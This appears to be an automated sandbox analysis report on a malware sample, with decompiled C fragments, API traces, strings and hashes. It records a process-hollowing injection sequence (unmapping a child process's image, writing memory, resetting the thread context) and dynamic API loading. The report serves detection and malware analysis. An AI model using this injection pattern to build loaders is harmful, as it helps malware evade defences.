0x0041dd75
0x0041dd77
0x0041dd77
0x0041dd86
0x0041dd8e
0x0041dd92
0x0041dd94
0x0041dd97
0x0041dda1
0x0041dda7
0x0041dda8
0x0041ddaa
0x0041ddab
0x0041dd97
0x0041ddb5

APIs

Part of subcall function 0041D7F0: std::_Debug_message.LIBCPMTD ref: 0041D829

Part of subcall function 0041D5C6: std::_Debug_message.LIBCPMTD ref: 0041D5DA

__invalid_parameter.LIBCMTD ref: 0041DD86

Strings

std::ctype<wchar_t>::_Do_narrow_s, xrefs: 0041DD7C
C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale, xrefs: 0041DD2A, 0041DD2F, 0041DD41, 0041DD67, 0041DD7B
("_Dest_size >= (size_t)(_Last - _First)", 0), xrefs: 0041DD5A
"out of range", xrefs: 0041DD81

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$__invalid_parameter
String ID: "out of range"$("_Dest_size >= (size_t)(_Last - _First)", 0)$C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale$std::ctype<wchar_t>::_Do_narrow_s
API String ID: 561806540-1809430080
Opcode ID: ec7e6d48a8fe8fd8820d9f5fe52d530e86cf3db640675663673e3baadc8319d8
Instruction ID: 389923788d55c6d21bbaeeea0f2379891db79d9221ce8afac0cfe63d9504578a
Opcode Fuzzy Hash: ec7e6d48a8fe8fd8820d9f5fe52d530e86cf3db640675663673e3baadc8319d8
Instruction Fuzzy Hash: 4411E3B1A001187BDB106E169C42FEF3B69EF41768F104026FD0866291D678ED90C2B8

Uniqueness

Uniqueness Score: -1.00%

Function 0041D133, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041D133(void* __esi, signed int _a4) {
				char _v16;
				signed int _t12;
				intOrPtr* _t22;
				signed int _t27;

				_t27 = _a4;
				if(_t27 > 0) {
					if((_t12 | 0xffffffff) / _t27 >= 1) {
						goto L2;
					} else {
						_a4 = _a4 & 0x00000000;
						_t22 =  &_v16;
						E00421510(_t22,  &_a4);
						_v16 = 0x4019dc;
						E00421CA0( &_v16, 0x442e98);
						asm("int3");
						 *_t22 = 0x4019f0;
						return E004200A0(_t22);
					}
				} else {
					_t27 = 0;
					L2:
					return E00420050(_t27, E00420090(), "C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xdebug", 0x61);
				}
			}

0x0041d13a
0x0041d13f
0x0041d168
0x00000000
0x0041d16a
0x0041d16a
0x0041d172
0x0041d175
0x0041d183
0x0041d18a
0x0041d18f
0x0041d191
0x0041d19d
0x0041d19d
0x0041d141
0x0041d141
0x0041d143
0x0041d15b
0x0041d15b

APIs

__wcstombs_l.LIBCMTD ref: 0041D151

Part of subcall function 00420050: new.LIBCPMTD ref: 00420065

std::exception::exception.LIBCMTD ref: 0041D175
__CxxThrowException@8.LIBCMTD ref: 0041D18A
std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041D197

Strings

C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug, xrefs: 0041D145

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Ios_base_dtorThrow__wcstombs_lstd::exception::exceptionstd::ios_base::_
String ID: C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug
API String ID: 216078729-1379749396
Opcode ID: 8a943b9a72d02a42054aa95fe19c65c9684817811b5efb048bcd24884a23c4fa
Instruction ID: 48a88ecdccd96fa0036a2db89cd99604909f8dd101fdf4d4f198e7071ddcd32e
Opcode Fuzzy Hash: 8a943b9a72d02a42054aa95fe19c65c9684817811b5efb048bcd24884a23c4fa
Instruction Fuzzy Hash: 52F02BF2D1012836D710BE65A801FCE779C9F51754F50825BF814B60D2D7B89754C6DD

Uniqueness

Uniqueness Score: -1.00%

Function 00430F00, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00430F00(char _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t11;
				void* _t16;
				void* _t17;

				if( *0x4557f8 != 0) {
					_t6 =  &_a4; // 0x434021
					return E00430F50(_t11, _t16, _t17, 0,  *_t6, _a8, _a12, 0);
				}
				_t3 =  &_a4; // 0x434021
				return E00430F50(_t11, _t16, _t17, 0x446290,  *_t3, _a8, _a12, 0);
			}

0x00430f0c
0x00430f37
0x00000000
0x00430f42
0x00430f18
0x00000000

APIs

strtoxl.LIBCMTD ref: 00430F21

Part of subcall function 00430F50: __invalid_parameter.LIBCMTD ref: 00430FEC
Part of subcall function 00430F50: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431005

strtoxl.LIBCMTD ref: 00430F3D

Strings

!@C, xrefs: 00430F37, 00430F18, 00430F1B, 00430F3A

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Localestrtoxl$UpdateUpdate::~___invalid_parameter
String ID: !@C
API String ID: 2579278432-3647122154
Opcode ID: c98ae7008d353a186c4de9a281126b8d9d5b8a40356d6eff4a2bdcd937c101b5
Instruction ID: ad74a77aaeb0b9fd701e9b7f0d7c3e5f5b73987ec54cdcdd771c6c4cfa7ed6b1
Opcode Fuzzy Hash: c98ae7008d353a186c4de9a281126b8d9d5b8a40356d6eff4a2bdcd937c101b5
Instruction Fuzzy Hash: 36E09BB6204208BFD710DF84DC61F77339CABCC704F159109FA1C4B281D5B5E95087A9

Uniqueness

Uniqueness Score: -1.00%

Function 004428E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004428E0() {

				E0041ED10(0x4555e8);
				return E00423290(E00442A00);
			}

0x004428ea
0x004428fd

APIs

std::_Init_locks::_Init_locks.LIBCPMTD ref: 004428EA

Part of subcall function 0041ED10: InterlockedIncrement.KERNEL32(0044546C), ref: 0041ED20

_atexit.LIBCMTD ref: 004428F4

Strings

UE, xrefs: 004428E5

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: IncrementInit_locksInit_locks::_Interlocked_atexitstd::_
String ID: UE
API String ID: 970615194-625707154
Opcode ID: eb46a21a4095485f6402f55a8c3ad5015341df810eeca0d9775d33055573a001
Instruction ID: bff5ca9b741fcf5545d9bce0df66d054a98d05969c9f0bd30ae15b40eaf95901
Opcode Fuzzy Hash: eb46a21a4095485f6402f55a8c3ad5015341df810eeca0d9775d33055573a001
Instruction Fuzzy Hash: A8B092B664424D221110369B381792A325A46C0B2E7A844ABBD0E162437D9EB96440AF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nkINykHreE.exe PID: 3092 Parent PID: 800 nkINykHreE.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.297230208.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.297230208.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.297230208.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.243482262.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.243482262.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.243482262.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.243482262.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: haifbcd PID: 2908 Parent PID: 904 haifbcdCOMMON

Executed Functions

Function 00470110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00470156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0047016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00470255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00470270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00470283
GetThreadContext.KERNELBASE(00000000,?), ref: 0047029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00470304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0047032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00470399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004703E1
ResumeThread.KERNELBASE(00000000), ref: 004703ED
ExitProcess.KERNEL32(00000000), ref: 00470412

Memory Dump Source

Source File: 0000000D.00000002.340449730.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 327b68b747bcce81ce2721edc656e5618c5e85ef91fec44d07fdfa901a017d22
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CAB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E909AB391D775AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00470630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004706E2

Strings

WriteFile, xrefs: 004708CD, 004708D0
WinExec, xrefs: 00470820, 00470823
WaitForSingleObject, xrefs: 00470E95, 00470E9B
CloseHandle, xrefs: 00470938, 0047093E
MessageBoxA, xrefs: 004706EE, 004706F4
PostMessageA, xrefs: 004712B0, 004712B6
VirtualAlloc, xrefs: 00470AC1, 00470AC7
user32, xrefs: 004706DB, 004706E1
VirtualFree, xrefs: 00470BB2, 00470BB8
ntdll.dll, xrefs: 00470FE2, 00470FE8
GetModuleFileNameA, xrefs: 00470EFB, 00470EFE
SetThreadContext, xrefs: 00470D7A, 00470D80
GetFileAttributesA, xrefs: 004713D7, 004713DA
RegisterClassExA, xrefs: 004711B7, 004711BD
ExitProcess, xrefs: 00471554, 0047155A
GetThreadContext, xrefs: 00470A4C, 00470A52
GetMessageA, xrefs: 004712F7, 004712FA
kernel32, xrefs: 004707ED, 004707F3
CreateWindowExA, xrefs: 0047123E, 00471244
WriteProcessMemory, xrefs: 00470CE9, 00470CEF
GetCommandLineA, xrefs: 00470F82, 00470F88
GetStartupInfoA, xrefs: 0047145B, 00471461
ResumeThread, xrefs: 00470DEF, 00470DF5
CreateProcessA, xrefs: 004709BB, 004709C1
NtWriteVirtualMemory, xrefs: 0047112C, 00471132
VirtualAllocEx, xrefs: 00470B44, 00470B4A
ReadProcessMemory, xrefs: 00470C4A, 00470C50
NtUnmapViewOfSection, xrefs: 00471085, 0047108B
DefWindowProcA, xrefs: 00471374, 0047137A
GetMessageExtraInfo, xrefs: 00470794, 0047079A
VirtualProtectEx, xrefs: 004714E9, 004714EF
CreateFileA, xrefs: 0047088B, 00470891

Memory Dump Source

Source File: 0000000D.00000002.340449730.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 1d125f160aad8cff30ded41980034b211d75af619bf61a69869c4d2c495f3a26
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 1AA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00470420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00470533

Strings

0, xrefs: 00470492
mfoaskdfnoa, xrefs: 00470520, 00470523
d, xrefs: 00470584
saodkfnosa9uin, xrefs: 004704DA

Memory Dump Source

Source File: 0000000D.00000002.340449730.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 6b9bf4bba3cd38c2b76c8d7d003fe971f9e5c904b193b1ec59ecc66983fe763f
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D6512C70D09388DEEB11CBD8C849BDDBFB26F11708F144059D5487F286C3BA5559CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004705EC

Strings

apfHQ, xrefs: 004705E2, 004705E5
o, xrefs: 00470600

Memory Dump Source

Source File: 0000000D.00000002.340449730.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1a48eaa12907d9f432b91500fcd16c59b06a01f311182c54781154e7ec08c333
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
